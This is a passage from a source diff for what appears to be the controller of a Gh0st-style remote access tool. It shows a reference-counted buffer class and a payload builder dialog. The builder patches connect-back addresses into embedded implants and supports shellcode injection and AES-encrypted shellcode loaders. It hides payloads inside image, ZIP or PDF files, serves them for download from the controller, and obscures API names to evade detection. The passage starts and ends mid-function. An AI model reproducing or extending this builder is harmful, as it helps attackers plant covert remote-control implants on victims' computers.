VirtualFree(m_Base,0,MEM_RELEASE);
m_Base = NewBase;
m_Ptr = m_Base + ulv1;
m_ulMaxLength = ulNewMaxLength;
return m_ulMaxLength;
}
BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength)
{
EnterCriticalSection(&m_cs);
if (ReAllocateBuffer(ulLength + (m_Ptr - m_Base)) == -1) { //10 +1 1024
LeaveCriticalSection(&m_cs);
return false;
}
CopyMemory(m_Ptr,Buffer,ulLength);
m_Ptr+=ulLength;
LeaveCriticalSection(&m_cs);
return TRUE;
}
// 私有: 扩展缓存
ULONG CBuffer::ReAllocateBuffer(ULONG ulLength)
{
if (ulLength < m_ulMaxLength)
return 0;
ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
if (NewBase == NULL) {
return -1;
}
ULONG ulv1 = m_Ptr - m_Base; //原先的有效数据长度
CopyMemory(NewBase,m_Base,ulv1);
if (m_Base) {
VirtualFree(m_Base,0,MEM_RELEASE);
}
m_Base = NewBase;
m_Ptr = m_Base + ulv1; //1024
m_ulMaxLength = ulNewMaxLength; //2048
return m_ulMaxLength;
}
VOID CBuffer::ClearBuffer()
{
EnterCriticalSection(&m_cs);
m_Ptr = m_Base;
m_ulReadOffset = 0; // 重置读取偏移
DeAllocateBuffer(1024);
LeaveCriticalSection(&m_cs);
}
ULONG CBuffer::GetBufferLength() // 返回有效数据长度
{
EnterCriticalSection(&m_cs);
if (m_Base == NULL) {
LeaveCriticalSection(&m_cs);
return 0;
}
// 有效数据长度需要减去已读取的偏移量(防止下溢)
ULONG totalDataLen = (ULONG)(m_Ptr - m_Base);
ULONG len = (totalDataLen > m_ulReadOffset) ? (totalDataLen - m_ulReadOffset) : 0;
LeaveCriticalSection(&m_cs);
return len;
}
std::string CBuffer::Skip(ULONG ulPos)
{
if (ulPos == 0)
return "";
EnterCriticalSection(&m_cs);
// 计算有效数据长度(防止下溢)
ULONG totalDataLen = (ULONG)(m_Ptr - m_Base);
ULONG effectiveDataLen = (totalDataLen > m_ulReadOffset) ? (totalDataLen - m_ulReadOffset) : 0;
// 边界检查:确保不会越界读取
if (ulPos > effectiveDataLen) {
ulPos = effectiveDataLen;
}
// 从当前读取位置开始跳过
std::string ret((char*)(m_Base + m_ulReadOffset), (char*)(m_Base + m_ulReadOffset + ulPos));
// 使用延迟移动策略
m_ulReadOffset += ulPos;
// 当已读取数据超过阈值时才进行压缩
if (m_ulReadOffset > m_ulMaxLength * COMPACT_THRESHOLD) {
CompactBuffer();
}
LeaveCriticalSection(&m_cs);
return ret;
}
// 此函数是多线程安全的. 只能远程调用使用它.
LPBYTE CBuffer::GetBuffer(ULONG ulPos)
{
EnterCriticalSection(&m_cs);
// 计算有效数据长度(防止下溢)
ULONG totalDataLen = (ULONG)(m_Ptr - m_Base);
ULONG effectiveDataLen = (totalDataLen > m_ulReadOffset) ? (totalDataLen - m_ulReadOffset) : 0;
if (m_Base == NULL || ulPos >= effectiveDataLen) {
LeaveCriticalSection(&m_cs);
return NULL;
}
// 返回相对于当前读取位置的指针
LPBYTE result = m_Base + m_ulReadOffset + ulPos;
LeaveCriticalSection(&m_cs);
return result;
}
// 此函数是多线程安全的. 获取缓存得到Buffer对象.
Buffer CBuffer::GetMyBuffer(ULONG ulPos)
{
EnterCriticalSection(&m_cs);
// 计算有效数据长度(防止下溢)
ULONG totalDataLen = (ULONG)(m_Ptr - m_Base);
ULONG effectiveDataLen = (totalDataLen > m_ulReadOffset) ? (totalDataLen - m_ulReadOffset) : 0;
if (m_Base == NULL || ulPos >= effectiveDataLen) {
LeaveCriticalSection(&m_cs);
return Buffer();
}
Buffer result = Buffer(m_Base + m_ulReadOffset + ulPos, effectiveDataLen - ulPos);
LeaveCriticalSection(&m_cs);
return result;
}
// 此函数是多线程安全的. 获取缓存指定位置处的字节值.
BYTE CBuffer::GetBYTE(ULONG ulPos)
{
EnterCriticalSection(&m_cs);
// 计算有效数据长度(防止下溢)
ULONG totalDataLen = (ULONG)(m_Ptr - m_Base);
ULONG effectiveDataLen = (totalDataLen > m_ulReadOffset) ? (totalDataLen - m_ulReadOffset) : 0;
if (m_Base == NULL || ulPos >= effectiveDataLen) {
LeaveCriticalSection(&m_cs);
return 0;
}
BYTE p = *(m_Base + m_ulReadOffset + ulPos);
LeaveCriticalSection(&m_cs);
return p;
}
// 此函数是多线程安全的. 将缓存拷贝到目标内存中.
BOOL CBuffer::CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos)
{
EnterCriticalSection(&m_cs);
// 计算有效数据长度(防止下溢)
ULONG totalDataLen = (ULONG)(m_Ptr - m_Base);
ULONG effectiveDataLen = (totalDataLen > m_ulReadOffset) ? (totalDataLen - m_ulReadOffset) : 0;
if (m_Base == NULL || pDst == NULL || ulPos >= effectiveDataLen || (effectiveDataLen - ulPos) < nLen) {
LeaveCriticalSection(&m_cs);
return FALSE;
}
memcpy(pDst, m_Base + m_ulReadOffset + ulPos, nLen);
LeaveCriticalSection(&m_cs);
return TRUE;
}
// 获取可直接写入的缓冲区指针,用于零拷贝接收
LPBYTE CBuffer::GetWriteBuffer(ULONG requiredSize, ULONG& availableSize)
{
EnterCriticalSection(&m_cs);
// 先压缩缓冲区以获得更多空间
if (m_ulReadOffset > 0) {
CompactBuffer();
}
// 确保有足够空间
ULONG currentDataLen = m_Ptr - m_Base;
if (ReAllocateBuffer(currentDataLen + requiredSize) == (ULONG)-1) {
LeaveCriticalSection(&m_cs);
availableSize = 0;
return NULL;
}
availableSize = m_ulMaxLength - currentDataLen;
LPBYTE result = m_Ptr;
LeaveCriticalSection(&m_cs);
return result;
}
// 确认写入完成,更新内部指针
VOID CBuffer::CommitWrite(ULONG writtenSize)
{
EnterCriticalSection(&m_cs);
m_Ptr += writtenSize;
LeaveCriticalSection(&m_cs);
}

142
server/2015Remote/Buffer.h Normal file
View File

@@ -0,0 +1,142 @@
#pragma once
#include <Windows.h>
#include <string>
// Buffer 带引用计数的缓存.
class Buffer
{
private:
PBYTE buf;
ULONG len;
ULONG padding;
std::string md5;
ULONG *ref;
void AddRef()
{
(*ref)++;
}
void DelRef()
{
(*ref)--;
}
public:
LPBYTE &Buf()
{
return buf;
}
~Buffer()
{
DelRef();
if (*ref == 0) {
if (buf!=NULL) {
delete[] buf;
buf = NULL;
}
delete ref;
ref = NULL;
}
}
Buffer():buf(NULL), len(0), ref(new ULONG(1)), padding(0)
{
}
Buffer(const BYTE * b, int n, int padding=0, const std::string& md5="") :
len(n), ref(new ULONG(1)), padding(padding), md5(md5)
{
buf = new BYTE[n];
memcpy(buf, b, n);
}
Buffer(Buffer& o)
{
o.AddRef();
buf = o.buf;
len = o.len;
ref = o.ref;
}
Buffer operator =(Buffer &o)
{
o.AddRef();
buf = o.buf;
len = o.len;
ref = o.ref;
return *this;
}
char* c_str() const
{
return (char*)buf;
}
ULONG length(bool noPadding=false)const
{
return noPadding ? len - padding : len;
}
std::string MD5() const
{
return md5;
}
BYTE GetBYTE(int idx=0) const
{
return idx >= len ? 0 : buf[idx];
}
LPBYTE GetBuffer(int idx=0) const
{
return idx >= len ? 0 : buf + idx;
}
int GetBufferLength() const
{
return len;
}
BOOL CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos=0)
{
if (len - ulPos < nLen) {
return FALSE;
}
memcpy(pDst, buf + ulPos, nLen);
return TRUE;
}
};
class CBuffer
{
public:
CBuffer(void);
~CBuffer(void);
ULONG ReadBuffer(PBYTE Buffer, ULONG ulLength);
ULONG GetBufferLength(); // 返回有效数据长度
ULONG GetBufferLen()
{
return GetBufferLength();
}
VOID ClearBuffer();
BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength);
BOOL Write(PBYTE Buffer, ULONG ulLength)
{
return WriteBuffer(Buffer, ulLength);
}
BOOL WriteBuffer(CBuffer& buf)
{
return WriteBuffer(buf.GetBuffer(), buf.GetBufferLen());
}
LPBYTE GetBuffer(ULONG ulPos=0);
Buffer GetMyBuffer(ULONG ulPos=0);
BYTE GetBYTE(ULONG ulPos);
BOOL CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos);
ULONG RemoveCompletedBuffer(ULONG ulLength);
std::string Skip(ULONG ulPos);
// 获取可直接写入的缓冲区指针,用于零拷贝接收
// 返回可写入的起始地址availableSize 返回可用空间大小
LPBYTE GetWriteBuffer(ULONG requiredSize, ULONG& availableSize);
// 确认写入完成,更新内部指针
VOID CommitWrite(ULONG writtenSize);
protected:
PBYTE m_Base;
PBYTE m_Ptr;
ULONG m_ulMaxLength;
ULONG m_ulReadOffset; // 读取偏移,用于延迟数据移动
CRITICAL_SECTION m_cs;
ULONG DeAllocateBuffer(ULONG ulLength); // 私有
ULONG ReAllocateBuffer(ULONG ulLength); // 私有
VOID CompactBuffer(); // 压缩缓冲区,移除已读取数据
};

View File

@@ -0,0 +1,994 @@
// BuildDlg.cpp : 实现文件
//
#include "stdafx.h"
#include "2015Remote.h"
#include "BuildDlg.h"
#include "2015RemoteDlg.h"
#include "afxdialogex.h"
#include <io.h>
#include "InputDlg.h"
#include <bcrypt.h>
#include <wincrypt.h>
#include "Resource.h"
extern "C" {
#include "client/reg_startup.h"
}
// #include <ntstatus.h>
enum Index {
IndexTestRun_DLL,
IndexTestRun_MemDLL,
IndexTestRun_InjSC,
IndexGhost,
IndexServerDll,
IndexTinyRun,
IndexGhostMsc,
IndexTestRunMsc,
IndexLinuxGhost,
OTHER_ITEM
};
enum Payload {
Payload_Self,
Payload_Raw,
Payload_BMP,
Payload_JPG,
Payload_PNG,
Payload_ZIP,
Payload_PDF,
};
// CBuildDlg 对话框
IMPLEMENT_DYNAMIC(CBuildDlg, CDialog)
std::string GetMasterId();
std::string GetPwdHash();
int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize);
LPBYTE ReadResource(int resourceId, DWORD &dwSize)
{
dwSize = 0;
auto id = resourceId;
HRSRC hResource = FindResourceA(NULL, MAKEINTRESOURCE(id), "BINARY");
if (hResource == NULL) {
return NULL;
}
// 获取资源的大小
dwSize = SizeofResource(NULL, hResource);
// 加载资源
HGLOBAL hLoadedResource = LoadResource(NULL, hResource);
if (hLoadedResource == NULL) {
return NULL;
}
// 锁定资源并获取指向资源数据的指针
LPVOID pData = LockResource(hLoadedResource);
if (pData == NULL) {
return NULL;
}
auto r = new BYTE[dwSize];
memcpy(r, pData, dwSize);
return r;
}
CString GenerateRandomName(int nLength)
{
if (nLength <= 0) nLength = 8;
static const TCHAR szChars[] = _T("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789");
static const int nCharsCount = _countof(szChars) - 1;
static bool bSeeded = false;
if (!bSeeded) {
srand((unsigned)time(NULL));
bSeeded = true;
}
CString strName;
LPTSTR pBuf = strName.GetBuffer(nLength);
for (int i = 0; i < nLength; i++) {
pBuf[i] = szChars[rand() % nCharsCount];
}
strName.ReleaseBuffer(nLength);
return strName;
}
CBuildDlg::CBuildDlg(CWnd* pParent)
: CDialogLang(CBuildDlg::IDD, pParent)
, m_strIP(_T(""))
, m_strPort(_T(""))
, m_strFindden(FLAG_FINDEN)
, m_sGroupName(_T("default"))
, m_strEncryptIP(_T(""))
, m_sInstallDir(_T(""))
, m_sInstallName(_T(""))
, m_sDownloadUrl(_T(""))
{
}
CBuildDlg::~CBuildDlg()
{
}
void CBuildDlg::DoDataExchange(CDataExchange* pDX)
{
__super::DoDataExchange(pDX);
DDX_Text(pDX, IDC_EDIT_IP, m_strIP);
DDX_Text(pDX, IDC_EDIT_PORT, m_strPort);
DDX_Control(pDX, IDC_COMBO_EXE, m_ComboExe);
DDX_Control(pDX, IDC_STATIC_OTHER_ITEM, m_OtherItem);
DDX_Control(pDX, IDC_COMBO_BITS, m_ComboBits);
DDX_Control(pDX, IDC_COMBO_RUNTYPE, m_ComboRunType);
DDX_Control(pDX, IDC_COMBO_PROTO, m_ComboProto);
DDX_Control(pDX, IDC_COMBO_ENCRYPT, m_ComboEncrypt);
DDX_Control(pDX, IDC_COMBO_COMPRESS, m_ComboCompress);
DDX_Control(pDX, IDC_EDIT_GROUPNAME, m_EditGroup);
DDX_Text(pDX, IDC_EDIT_GROUPNAME, m_sGroupName);
DDV_MaxChars(pDX, m_sGroupName, 23);
DDX_Control(pDX, IDC_COMBO_PAYLOAD, m_ComboPayload);
DDX_Control(pDX, IDC_STATIC_PAYLOAD, m_StaticPayload);
DDX_Control(pDX, IDC_SLIDER_CLIENT_SIZE, m_SliderClientSize);
DDX_Control(pDX, IDC_EDIT_INSTALL_DIR, m_EditInstallDir);
DDX_Control(pDX, IDC_EDIT_INSTALL_NAME, m_EditInstallName);
DDX_Text(pDX, IDC_EDIT_INSTALL_DIR, m_sInstallDir);
DDV_MaxChars(pDX, m_sInstallDir, 31);
DDX_Text(pDX, IDC_EDIT_INSTALL_NAME, m_sInstallName);
DDV_MaxChars(pDX, m_sInstallName, 31);
DDX_Control(pDX, IDC_CHECK_FILESERVER, m_BtnFileServer);
DDX_Control(pDX, IDC_STATIC_DOWNLOAD, m_StaticDownload);
DDX_Control(pDX, IDC_EDIT_DOWNLOAD_URL, m_EditDownloadUrl);
DDX_Text(pDX, IDC_EDIT_DOWNLOAD_URL, m_sDownloadUrl);
DDV_MaxChars(pDX, m_sDownloadUrl, 255);
}
BEGIN_MESSAGE_MAP(CBuildDlg, CDialog)
ON_BN_CLICKED(IDOK, &CBuildDlg::OnBnClickedOk)
ON_CBN_SELCHANGE(IDC_COMBO_EXE, &CBuildDlg::OnCbnSelchangeComboExe)
ON_COMMAND(ID_HELP_PARAMETERS, &CBuildDlg::OnHelpParameters)
ON_COMMAND(ID_HELP_FINDDEN, &CBuildDlg::OnHelpFindden)
ON_COMMAND(ID_MENU_ENCRYPT_IP, &CBuildDlg::OnMenuEncryptIp)
ON_COMMAND(ID_CLIENT_RUNAS_ADMIN, &CBuildDlg::OnClientRunasAdmin)
ON_CBN_SELCHANGE(IDC_COMBO_COMPRESS, &CBuildDlg::OnCbnSelchangeComboCompress)
ON_NOTIFY_EX(TTN_NEEDTEXT, 0, &CBuildDlg::OnToolTipNotify)
ON_EN_CHANGE(IDC_EDIT_INSTALL_DIR, &CBuildDlg::OnEnChangeEditInstallDir)
ON_EN_CHANGE(IDC_EDIT_INSTALL_NAME, &CBuildDlg::OnEnChangeEditInstallName)
ON_EN_KILLFOCUS(IDC_EDIT_INSTALL_DIR, &CBuildDlg::OnEnKillfocusEditInstallDir)
ON_EN_KILLFOCUS(IDC_EDIT_INSTALL_NAME, &CBuildDlg::OnEnKillfocusEditInstallName)
ON_COMMAND(ID_RANDOM_NAME, &CBuildDlg::OnRandomName)
ON_BN_CLICKED(IDC_CHECK_FILESERVER, &CBuildDlg::OnBnClickedCheckFileserver)
ON_CBN_SELCHANGE(IDC_COMBO_PAYLOAD, &CBuildDlg::OnCbnSelchangeComboPayload)
END_MESSAGE_MAP()
// CBuildDlg 消息处理程序
std::string ReleaseUPX();
void run_upx_async(HWND hwnd, const std::string& upx, const std::string& file, bool isCompress);
bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer,
int ulOriginalLength, bool align = false);
BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size, LONGLONG offset = 0);
std::string ReleaseEXE(int resID, const char* name)
{
DWORD dwSize = 0;
LPBYTE data = ReadResource(resID, dwSize);
if (!data)
return "";
char path[MAX_PATH];
DWORD len = GetModuleFileNameA(NULL, path, MAX_PATH);
std::string curExe = path;
GET_FILEPATH(path, name);
BOOL r = WriteBinaryToFile(path, (char*)data, dwSize);
SAFE_DELETE_ARRAY(data);
return r ? path : "";
}
typedef struct SCInfoOld {
unsigned char aes_key[16];
unsigned char aes_iv[16];
unsigned char data[8 * 1024 * 1024];
int len;
} SCInfoOld;
typedef struct SCInfo {
unsigned char aes_key[16];
unsigned char aes_iv[16];
unsigned char *data;
int len;
int offset;
char file[_MAX_PATH];
char targetDir[_MAX_PATH];
char downloadUrl[_MAX_PATH];
} SCInfo;
#define GetAddr(mod, name) GetProcAddress(GetModuleHandleA(mod), name)
bool MYLoadLibrary(const char* name)
{
char kernel[] = { 'k','e','r','n','e','l','3','2',0 };
char load[] = { 'L','o','a','d','L','i','b','r','a','r','y','A',0 };
typedef HMODULE(WINAPI* LoadLibraryF)(LPCSTR lpLibFileName);
if (!GetModuleHandleA(name)) {
LoadLibraryF LoadLibraryA = (LoadLibraryF)GetAddr(kernel, load);
return LoadLibraryA(name);
}
return true;
}
void generate_random_iv(unsigned char* iv, size_t len)
{
typedef HMODULE(WINAPI* LoadLibraryF)(LPCSTR lpLibFileName);
typedef NTSTATUS(WINAPI* BCryptGenRandomF)(BCRYPT_ALG_HANDLE, PUCHAR, ULONG, ULONG);
char crypt[] = { 'b','c','r','y','p','t',0 };
char name[] = { 'B','C','r','y','p','t','G','e','n','R','a','n','d','o','m',0 };
MYLoadLibrary(crypt);
BCryptGenRandomF BCryptGenRandom = (BCryptGenRandomF)GetAddr(crypt, name);
BCryptGenRandom(NULL, iv, len, BCRYPT_USE_SYSTEM_PREFERRED_RNG);
}
ULONGLONG GetFileSize(const char* path)
{
std::ifstream file(path, std::ios::binary | std::ios::ate);
if (!file) {
Mprintf("Failed to open file: %s.\n", path);
return 0;
}
ULONGLONG size = file.tellg();
file.close();
return size;
}
bool IsValidFileName(const CString& strName)
{
if (strName.IsEmpty()) return false;
// 检查非法字符
LPCTSTR szInvalidChars = _T("\\/:*?\"<>|");
if (strName.FindOneOf(szInvalidChars) != -1)
return false;
// 检查保留名称 (CON, PRN, AUX, NUL, COM1-9, LPT1-9)
CString strUpper = strName;
strUpper.MakeUpper();
int nDot = strUpper.Find(_T('.'));
CString strBase = (nDot != -1) ? strUpper.Left(nDot) : strUpper;
LPCTSTR szReserved[] = {
_T("CON"), _T("PRN"), _T("AUX"), _T("NUL"),
_T("COM1"), _T("COM2"), _T("COM3"), _T("COM4"), _T("COM5"),
_T("COM6"), _T("COM7"), _T("COM8"), _T("COM9"),
_T("LPT1"), _T("LPT2"), _T("LPT3"), _T("LPT4"), _T("LPT5"),
_T("LPT6"), _T("LPT7"), _T("LPT8"), _T("LPT9"), NULL
};
for (int i = 0; szReserved[i]; i++) {
if (strBase == szReserved[i])
return false;
}
// 不能以空格或点结尾
TCHAR chLast = strName[strName.GetLength() - 1];
if (chLast == _T(' ') || chLast == _T('.'))
return false;
return true;
}
CString BuildPayloadUrl(const char* ip, const char* name)
{
int port = THIS_CFG.GetInt("settings", "WebSvrPort", 8080);
CString url = CString("http://") + CString(ip) + ":" + std::to_string(port).c_str() + CString("/payloads/") + name;
return url;
}
void CBuildDlg::OnBnClickedOk()
{
UpdateData(TRUE);
if (m_strIP.IsEmpty() || atoi(m_strPort) <= 0)
return;
BYTE* szBuffer = NULL;
DWORD dwFileSize = 0;
int index = m_ComboExe.GetCurSel(), typ=index;
int is64bit = m_ComboBits.GetCurSel() == 0;
if (index == IndexTestRun_InjSC && !is64bit) {
MessageBoxL("Shellcode 只能向64位电脑注入注入器也只能是64位!", "提示", MB_ICONWARNING);
return;
}
if (index == IndexLinuxGhost) {
m_ComboCompress.SetCurSel(CLIENT_COMPRESS_NONE);
m_SliderClientSize.SetPos(0);
}
int startup = Startup_DLL;
CString file;
CString targetDir;
switch (index) {
case IndexTestRun_DLL:
case IndexTestRun_MemDLL:
case IndexTestRun_InjSC:
file = "TestRun.exe";
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Client Demo" : m_sInstallDir);
typ = index == IndexTestRun_DLL ? CLIENT_TYPE_DLL : CLIENT_TYPE_MEMDLL;
startup = std::map<int, int> {
{IndexTestRun_DLL, Startup_DLL},{IndexTestRun_MemDLL, Startup_MEMDLL},{IndexTestRun_InjSC, Startup_InjSC},
} [index];
szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize);
break;
case IndexGhost:
file = "ghost.exe";
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir);
typ = CLIENT_TYPE_ONE;
szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize);
break;
case IndexGhostMsc:
file = "ghost.exe";
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir);
typ = CLIENT_TYPE_ONE;
startup = Startup_GhostMsc;
szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize);
break;
case IndexTestRunMsc:
file = "TestRun.exe";
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Client Demo" : m_sInstallDir);
typ = CLIENT_TYPE_MEMDLL;
startup = Startup_TestRunMsc;
szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize);
break;
case IndexServerDll:
file = "ServerDll.dll";
typ = CLIENT_TYPE_DLL;
szBuffer = ReadResource(is64bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86, dwFileSize);
break;
case IndexTinyRun:
file = "TinyRun.dll";
typ = CLIENT_TYPE_SHELLCODE;
szBuffer = ReadResource(is64bit ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, dwFileSize);
break;
case IndexLinuxGhost:
file = "ghost";
typ = CLIENT_TYPE_LINUX;
szBuffer = ReadResource(IDR_LINUX_GHOST, dwFileSize);
break;
case OTHER_ITEM: {
m_OtherItem.GetWindowTextA(file);
typ = -1;
if (file != _TR("未选择文件")) {
CFile File;
File.Open(file, CFile::modeRead | CFile::typeBinary);
dwFileSize = File.GetLength();
if (dwFileSize > 0) {
szBuffer = new BYTE[dwFileSize];
File.Read(szBuffer, dwFileSize);
}
File.Close();
}
break;
}
default:
break;
}
if (szBuffer == NULL) {
MessageBoxL("出现内部错误,请检查输入,重新编译程序!", "提示", MB_ICONWARNING);
return;
}
//////////上线信息//////////////////////
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "", typ, false, DLL_VERSION, 0, startup, HeaderEncV0 };
if(m_strFindden.GetLength())
memcpy(g_ConnectAddress.szFlag, m_strFindden.GetBuffer(), min(sizeof(g_ConnectAddress.szFlag), m_strFindden.GetLength()));
g_ConnectAddress.SetAdminId(GetMasterHash().c_str());
g_ConnectAddress.SetServer(m_strIP, atoi(m_strPort));
g_ConnectAddress.runningType = m_ComboRunType.GetCurSel();
g_ConnectAddress.protoType = m_ComboProto.GetCurSel();
g_ConnectAddress.iHeaderEnc = m_ComboEncrypt.GetCurSel();
memcpy(g_ConnectAddress.pwdHash, GetPwdHash().c_str(), sizeof(g_ConnectAddress.pwdHash));
memcpy(g_ConnectAddress.szGroupName, m_sGroupName, m_sGroupName.GetLength());
memcpy(g_ConnectAddress.installDir, m_sInstallDir, m_sInstallDir.GetLength());
memcpy(g_ConnectAddress.installName, m_sInstallName, m_sInstallName.GetLength());
if (!g_ConnectAddress.IsValid()) {
SAFE_DELETE_ARRAY(szBuffer);
return;
}
bool encrypt = m_strEncryptIP == _L(_T(""));
if (encrypt && startup != Startup_InjSC && index != IndexTinyRun)
g_ConnectAddress.Encrypt();
if (m_runasAdmin)
g_ConnectAddress.runasAdmin = TRUE;
try {
// 更新标识
char* ptr = (char*)szBuffer, *end = (char*)szBuffer + dwFileSize;
bool bFind = false;
int bufSize = dwFileSize;
while (ptr < end) {
int iOffset = MemoryFind(ptr, (char*)g_ConnectAddress.Flag(), bufSize, g_ConnectAddress.FlagLen());
if (iOffset == -1)
break;
CONNECT_ADDRESS* dst = (CONNECT_ADDRESS*)(ptr + iOffset);
auto result = strlen(dst->szBuildDate) ? compareDates(dst->szBuildDate, g_ConnectAddress.szBuildDate) : -1;
if (result > 0) {
MessageBoxL(_TR("客户端版本比主控程序更高, 无法生成!") + "\r\n" + file, "提示", MB_ICONWARNING);
return;
}
if (result != -2 && result <= 0) { // 客户端版本不能不大于主控端
bFind = true;
auto master = GetMasterId();
memcpy(ptr + iOffset, &(g_ConnectAddress.ModifyFlag(master.c_str())), sizeof(g_ConnectAddress));
}
ptr += iOffset + sizeof(g_ConnectAddress);
bufSize -= iOffset + sizeof(g_ConnectAddress);
}
if (!bFind) {
MessageBoxL(_TR("出现内部错误,未能找到标识信息!") + "\r\n" + file, "提示", MB_ICONWARNING);
SAFE_DELETE_ARRAY(szBuffer);
return;
}
// 保存文件
char path[_MAX_PATH], * p = path;
GetModuleFileNameA(NULL, path, sizeof(path));
while (*p) ++p;
while ('\\' != *p) --p;
strcpy(p + 1, file.GetString());
CString strSeverFile = typ != -1 ? path : file;
DeleteFileA(strSeverFile);
CFile File;
BOOL r=File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite);
if (!r) {
MessageBoxL(_TR("服务程序创建失败!") + "\r\n" + strSeverFile, "提示", MB_ICONWARNING);
SAFE_DELETE_ARRAY(szBuffer);
return;
}
File.Write(szBuffer, dwFileSize);
File.Close();
CString tip = index == IndexTestRun_DLL ? "\r\n" + _TR("提示: 请生成\"ServerDll.dll\",以便程序正常运行。") : _T("");
tip += g_ConnectAddress.protoType==PROTO_KCP ? "\n" + _TR("提示: 使用KCP协议生成服务必须设置主控UDP协议参数为1。") : _T("");
std::string upx;
int sel = m_ComboCompress.GetCurSel();
if(sel == CLIENT_COMPRESS_UPX)upx = ReleaseUPX();
if (!upx.empty()) {
run_upx_async(GetParent()->GetSafeHwnd(), upx, strSeverFile.GetString(), true);
MessageBoxL(_TR("正在UPX压缩请关注信息提示。") + "\r\n" + _TR("文件位于: ") + strSeverFile + tip, "提示", MB_ICONINFORMATION);
} else {
if (sel == CLIENT_COMPRESS_SC_AES) {
DWORD dwSize = 0;
LPBYTE data = ReadResource(is64bit ? IDR_SCLOADER_X64 : IDR_SCLOADER_X86, dwSize);
if (data) {
int iOffset = MemoryFind((char*)data, (char*)g_ConnectAddress.Flag(), dwSize, g_ConnectAddress.FlagLen());
if (iOffset != -1) {
SCInfo* sc = (SCInfo*)(data + iOffset);
LPBYTE srcData = (LPBYTE)szBuffer;
int srcLen = dwFileSize;
if (MakeShellcode(srcData, srcLen, (LPBYTE)szBuffer, dwFileSize, true)) {
generate_random_iv(sc->aes_key, 16);
generate_random_iv(sc->aes_iv, 16);
std::string key, iv;
for (int i = 0; i < 16; ++i) key += std::to_string(sc->aes_key[i]) + " ";
for (int i = 0; i < 16; ++i) iv += std::to_string(sc->aes_iv[i]) + " ";
Mprintf("AES_KEY: %s, AES_IV: %s\n", key.c_str(), iv.c_str());
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, sc->aes_key, sc->aes_iv);
AES_CBC_encrypt_buffer(&ctx, srcData, srcLen);
sc->len = srcLen;
sc->offset = dwSize;
CString old = strSeverFile;
PathRenameExtension(strSeverFile.GetBuffer(MAX_PATH), _T(".exe"));
strSeverFile.ReleaseBuffer();
if (strSeverFile != old) DeleteFileA(old);
int n = m_ComboPayload.GetCurSel();
CString payload = strSeverFile;
if (n) {
static std::map<int, std::string> m = {
{ Payload_Raw, "*.bin|*.bin|"}, { Payload_BMP, "*.bmp|*.bmp|"},
{ Payload_JPG, "*.jpg|*.jpg|"}, { Payload_PNG, "*.png|*.png|"},
{ Payload_ZIP, "*.zip|*.zip|"}, { Payload_PDF, "*.pdf|*.pdf|"},
};
payload = GetFilePath(NULL, m[n].c_str(), n != Payload_Raw);
sc->offset = n == Payload_Raw ? 0 : GetFileSize(payload);
strcpy(sc->file, PathFindFileNameA(payload));
strcpy(sc->targetDir, targetDir);
BOOL checked = m_BtnFileServer.GetCheck() == BST_CHECKED;
if (checked) {
strcpy(sc->downloadUrl, m_sDownloadUrl.IsEmpty() ? BuildPayloadUrl(m_strIP, sc->file) : m_sDownloadUrl);
if (m_sDownloadUrl.IsEmpty()) MessageBoxL(CString("文件下载地址: \r\n") + sc->downloadUrl, "提示", MB_ICONINFORMATION);
}
tip = payload.IsEmpty() ? "\r\n警告: 没有生成载荷!" :
checked ? "\r\n提示: 本机提供下载时,载荷文件必须拷贝至\"Payloads\"目录。" : "\r\n提示: 载荷文件必须拷贝至程序目录。";
}
BOOL r = WriteBinaryToFile(strSeverFile.GetString(), (char*)data, dwSize);
if (r) {
r = WriteBinaryToFile(payload.GetString(), (char*)srcData, srcLen, n == Payload_Raw ? 0 : -1);
if (!r) tip = "\r\n警告: 生成载荷失败!";
} else {
MessageBoxL(_TR("文件生成失败: ") + "\r\n" + strSeverFile, "提示", MB_ICONINFORMATION);
}
SAFE_DELETE_ARRAY(srcData);
}
}
}
SAFE_DELETE_ARRAY(data);
} else if (sel == CLIENT_PE_TO_SEHLLCODE) {
int pe_2_shellcode(const std::string & in_path, const std::string & out_str);
int ret = pe_2_shellcode(strSeverFile.GetString(), strSeverFile.GetString());
if (ret)MessageBoxL(CString("ShellCode 转换异常, 异常代码: ") + CString(std::to_string(ret).c_str()),
"提示", MB_ICONINFORMATION);
} else if (sel == CLIENT_COMPRESS_SC_AES_OLD || // 兼容旧版本
sel == CLIENT_COMP_SC_AES_OLD_UPX) {
DWORD dwSize = 0;
LPBYTE data = ReadResource(is64bit ? IDR_SCLOADER_X64_OLD : IDR_SCLOADER_X86_OLD, dwSize);
if (data) {
int iOffset = MemoryFind((char*)data, (char*)g_ConnectAddress.Flag(), dwSize, g_ConnectAddress.FlagLen());
if (iOffset != -1) {
SCInfoOld* sc = (SCInfoOld*)(data + iOffset);
LPBYTE srcData = (LPBYTE)szBuffer;
